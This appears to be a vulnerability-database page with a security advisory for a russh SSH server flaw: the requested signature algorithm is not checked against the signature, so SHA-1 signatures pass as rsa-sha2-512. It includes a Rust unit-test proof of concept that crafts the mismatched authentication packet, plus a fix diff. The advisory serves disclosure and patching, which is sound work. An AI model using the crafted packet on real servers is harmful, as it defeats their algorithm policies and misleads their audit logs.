How should we interpret CVSS severity scores?

CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

Q: Why do vulnerabilities keep reappearing in our environment?

Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.

405,872

Total vulnerabilities in the database

CVE-2026-111062 — russh

Improper Verification of Cryptographic Signature

Details

In russh/src/server/encrypted.rs, server_read_auth_request_pk (0.63.3, around lines 880-990):

The requested algorithm name (pubkey_algo) is read and only used to decode the key: PublicKeyOrCertificate::decode(&pubkey_algo, &pubkey_key). The derived hash_alg is then dropped (PublicKeyOrCertificate::PublicKey { ref key, .. }).
The signature blob is decoded (Signature::decode) and verified with Verifier::verify(&pubkey, &buf, &sig). ssh-key picks the hash from the signature's own algorithm (sig.algorithm()).
pubkey_algo and sig.algorithm() are never compared.

So for an RSA key, the request can say rsa-sha2-512 while the signature is ssh-rsa. The signature is valid for SHA-1, verification succeeds, and Handler::auth_publickey is called.

Affected versions: every russh release, from the first (0.34.0-beta.1, 2022-03) through 0.63.3 and current main. The behaviour is inherited from thrussh, which russh was forked from.

The mechanism changed over time, but the outcome is the same: the hash is always taken from the signature blob, never checked against the request.

Up to 0.46: after reading the algorithm name inside the signature blob, russh overwrites the key's hash with it (pubkey.set_algorithm(algo_)), then verifies.
From 0.47/0.48 (move to ssh-key): the signature is decoded with its own algorithm (sig_workaround::Sig::decode, later Signature::decode) and verified with it.

Confirmed by running the PoC below on 0.63.3. Confirmed by reading the code of server/encrypted.rs in 0.34.0-beta.1, 0.34.0, 0.36.0, 0.36.1, 0.37.1, 0.40.2, 0.43.0, 0.45.0, 0.46.0, 0.48.2, 0.50.4, 0.54.6, 0.58.1, 0.63.1, 0.63.3 and main (2026-09-30), and in thrussh 0.33.5.

PoC

A unit test in the existing test module of russh/src/server/encrypted.rs. It uses the module's own helpers (test_auth_session, sign_with_hash_alg, PrivateKeyWithHashAlg) and needs no network or configuration.

Check out russh 0.63.3, or main.
Paste the code below inside mod tests { ... } of russh/src/server/encrypted.rs.
Run cargo test --lib poc_sha1.

// ---- PoC: signature algorithm not checked against the requested one ----

/// Records whether `auth_publickey` (called only after the signature
/// verified) was reached.
#[derive(Default)]
struct AcceptAnyKey {
    authenticated: bool,
}

impl Handler for AcceptAnyKey {
    type Error = Error;

    async fn auth_publickey_offered(
        &amp;mut self,
        _user: &amp;str,
        _public_key: &amp;PublicKey,
    ) -&gt; Result&lt;Auth, Self::Error&gt; {
        Ok(Auth::Accept)
    }

    async fn auth_publickey(
        &amp;mut self,
        _user: &amp;str,
        _public_key: &amp;PublicKey,
    ) -&gt; Result&lt;Auth, Self::Error&gt; {
        self.authenticated = true;
        Ok(Auth::Accept)
    }
}

/// A signed publickey request that names `announced` as its public key
/// algorithm, but is signed with `hash` (`None` = `ssh-rsa`, SHA-1).
fn signed_request_announcing(
    user: &amp;str,
    private_key: Arc&lt;PrivateKey&gt;,
    announced: &amp;str,
    hash: Option&lt;crate::keys::HashAlg&gt;,
) -&gt; Vec&lt;u8&gt; {
    let mut packet = Vec::new();
    packet.push(msg::USERAUTH_REQUEST);
    user.encode(&amp;mut packet).unwrap();
    &quot;ssh-connection&quot;.encode(&amp;mut packet).unwrap();
    &quot;publickey&quot;.encode(&amp;mut packet).unwrap();
    1u8.encode(&amp;mut packet).unwrap();
    announced.encode(&amp;mut packet).unwrap();
    private_key.public_key().to_bytes().unwrap().encode(&amp;mut packet).unwrap();

    let mut signed = Vec::new();
    CryptoVec::new().as_ref().encode(&amp;mut signed).unwrap();
    signed.extend_from_slice(&amp;packet);
    let signature =
        sign_with_hash_alg(&amp;PrivateKeyWithHashAlg::new(private_key, hash), &amp;signed).unwrap();
    signature.encode(&amp;mut packet).unwrap();
    packet
}

#[tokio::test]
async fn poc_sha1_signature_accepted_when_rsa_sha2_512_is_announced() {
    let rsa = ssh_key::private::RsaKeypair::random(&amp;mut rand::rng(), 2048).unwrap();
    let private = Arc::new(PrivateKey::from(rsa));
    let mut session = test_auth_session();
    let mut handler = AcceptAnyKey::default();

    // The request says rsa-sha2-512; the signature blob is ssh-rsa (SHA-1).
    let packet = signed_request_announcing(&quot;alice&quot;, private, &quot;rsa-sha2-512&quot;, None);
    session.process_packet(&amp;mut handler, &amp;packet).await.unwrap();

    // RFC 8332 §3: the signature algorithm must be the requested one, so
    // this request must be rejected. On russh 0.63.3 it is accepted.
    assert!(
        !handler.authenticated,
        &quot;an ssh-rsa (SHA-1) signature was accepted for a request announcing rsa-sha2-512&quot;
    );
}

Result on unmodified 0.63.3:

test server::encrypted::tests::poc_sha1_signature_accepted_when_rsa_sha2_512_is_announced ... FAILED
panicked at src/server/encrypted.rs: an ssh-rsa (SHA-1) signature was accepted for a request announcing rsa-sha2-512

With the fix below, the test passes and the whole library suite still passes: cargo test --lib gives 186 passed.

Suggested fix: reject a mismatch through the existing reject_auth_request(until, ...) path, so the constant rejection time is kept.

--- a/russh/src/server/encrypted.rs
+++ b/russh/src/server/encrypted.rs
@@ -1023,6 +1023,21 @@
                     map_err!(ensure_end(&amp;signature_reader))?;
                     map_err!(ensure_end(r))?;
 
+                    // RFC 8332 §3: the signature must use the algorithm the
+                    // request names.
+                    let offered_algorithm = match pk_or_cert {
+                        PublicKeyOrCertificate::PublicKey { .. } =&gt; ssh_key::Algorithm::new(&amp;pubkey_algo),
+                        PublicKeyOrCertificate::Certificate(_) =&gt; {
+                            &lt;ssh_key::Algorithm as crate::helpers::AlgorithmExt&gt;::new_certificate_ext(&amp;pubkey_algo)
+                        }
+                    };
+                    if offered_algorithm.ok().as_ref() != Some(&amp;sig.algorithm()) {
+                        debug!(&quot;signature algorithm does not match the requested one&quot;);
+                        auth_user.clear();
+                        reject_auth_request(until, &amp;mut self.write, auth_request).await?;
+                        return Ok(());
+                    }
+
                     let is_valid = if accepted_probe_matches &amp;&amp; user == auth_user {
                         true
                     } else {

Impact

This is a missing check on the signature algorithm (improper verification of a cryptographic signature's algorithm, CWE-347) in the server's publickey authentication.

Who is impacted: applications that use russh as an SSH server and rely on the requested algorithm to restrict, record or audit user-key signature algorithms. For example:

a server that refuses SHA-1 (ssh-rsa) signatures, as OpenSSH does by default since 8.8;
a server that logs which algorithm a client authenticated with.

Such a server can be made to accept a SHA-1 signature, or to record rsa-sha2-512 for one, by any holder of a valid RSA key.

Not impacted:

russh clients;
authentication strength beyond the choice of hash, since a valid signature by the private key is still required;
Te RSA keys were examined, the case where one key admits several signature algorithms (ssh-rsa, rsa-sha2-256, rsa-sha2-512). We did not test other key types.

Published: Oct 19, 2026
Updated: Oct 20, 2026
CVE: CVE-2026-111062
GHSA: GHSA-j7h2-66j4-ghjf
Severity: Low
Exploit:
CISA KEV:

No technical information available.

CWEs:

CWE-347

Affected Software
References

Software	Affected versions
russh	`>= 0.34.0-beta.1, < 0.64.0`

Is CVE-2026-111062 exposed on your perimeter?

A vulnerability database tells you what is broken. Attack surface management tells you where it is running: it discovers your internet-facing assets and flags the ones affected by issues like this one.

What is attack surface management? →

Deep Security Visibility Without the Complexity

SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.

No setup fees
5-min deployment
Cancel anytime

Book a Demo

Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.